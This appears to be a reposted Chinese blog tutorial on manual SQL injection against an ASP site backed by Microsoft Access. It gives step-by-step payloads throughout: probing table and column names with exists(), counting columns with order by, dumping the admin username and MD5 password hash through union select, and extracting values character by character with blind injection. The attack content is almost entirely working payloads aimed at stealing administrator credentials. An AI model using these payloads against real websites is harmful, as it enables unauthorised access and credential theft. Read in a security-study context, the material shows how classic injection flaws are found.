测试地址:http://www.xxx.com/about.asp?id=40
扫到台地址:http://www.xxx.com/member_login.asp
根据地址格式猜测后台管理表为member,进入后台登陆页面查看源代码,查看登陆表单源码:
<input name=”username” type=”text” class=”zz” id=”username” size=”30” />
<td><input name=”pwd” type=”password” class=”zz” id=”pwd” size=”30“/></td>
猜测member管理员字段为username,密码字段为pwd
验证上面猜想:
验证表: and exists(select * from member),返回正确,猜想正确
验证管理员字段:and exists(select username from member),返回正确,猜想正确
验证密码字段: and exists(select pwd from member),返回错误,猜想失败。
分析:到这里密码字段猜想失败,无法继续,使用明小子跑了一下跑出来密码字段是:userpass
方法一:联合注入
第一步: 测试单引号id=40′ 测试,报错,and 1=1 返回正确,and 1=2错误,证明漏洞存在。
第二步: 确定当前连接页面数据库的字段数:order by ,当为15时正确,16错误,证明15个字段。
第三步: 联合注入union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 测试显位为8
第四步: union select 1,2,3,4,5,6,7,username,9,10,11,12,13,14,15 from member 来回显用户名的值
不幸的是: 回显失败,造成失败的原因可能是username有多个用户,这里只能显示一个,解决办法也很简 单,通常表中都有一个id,回显一下id,看id是多少,然后用where 来限制。
(1.)回显id: union select 1,2,3,4,5,6,7,id,9,10,11,12,13,14,15 from member 得到id=100
(2.)然后: union select 1,2,3,4,5,6,7,username,9,10,11,12,13,14,15 from member where id=100
这时成功回显用户名是:useradmin.
(3.)回显密码: union select 1,2,3,4,5,6,7,userpass,9,10,11,12,13,14,15 from member where id=100
成功得到md5, 至此结束。
方法二:盲注order (order by 不能用的地方用盲注)
1. 猜字段中数据长度:and (select top 1 length(username) from member)>=5 返还正常
and (select top 1 length(username) from member)<6 返还错误
说明username中数据长度为5
2. 逐字猜测: and (select top 1 asc(mid(username,1,1))from member)=97
and (select top 1 asc(mid(username,1,1))from member)=98
and (select top 1 asc(mid(username,1,1))from member)=99
… … … …
猜测正确则返回正确界面,猜测错误,则返回错误界面,每次正确的时候记下当时asc值,一直正确5次后asc值拼凑在一起,然后转换成普通数值,就是当前用户名,猜密码就是将username换成userpass就可以了。
转载请著名来源:天天小站 » Access手工注入测试方法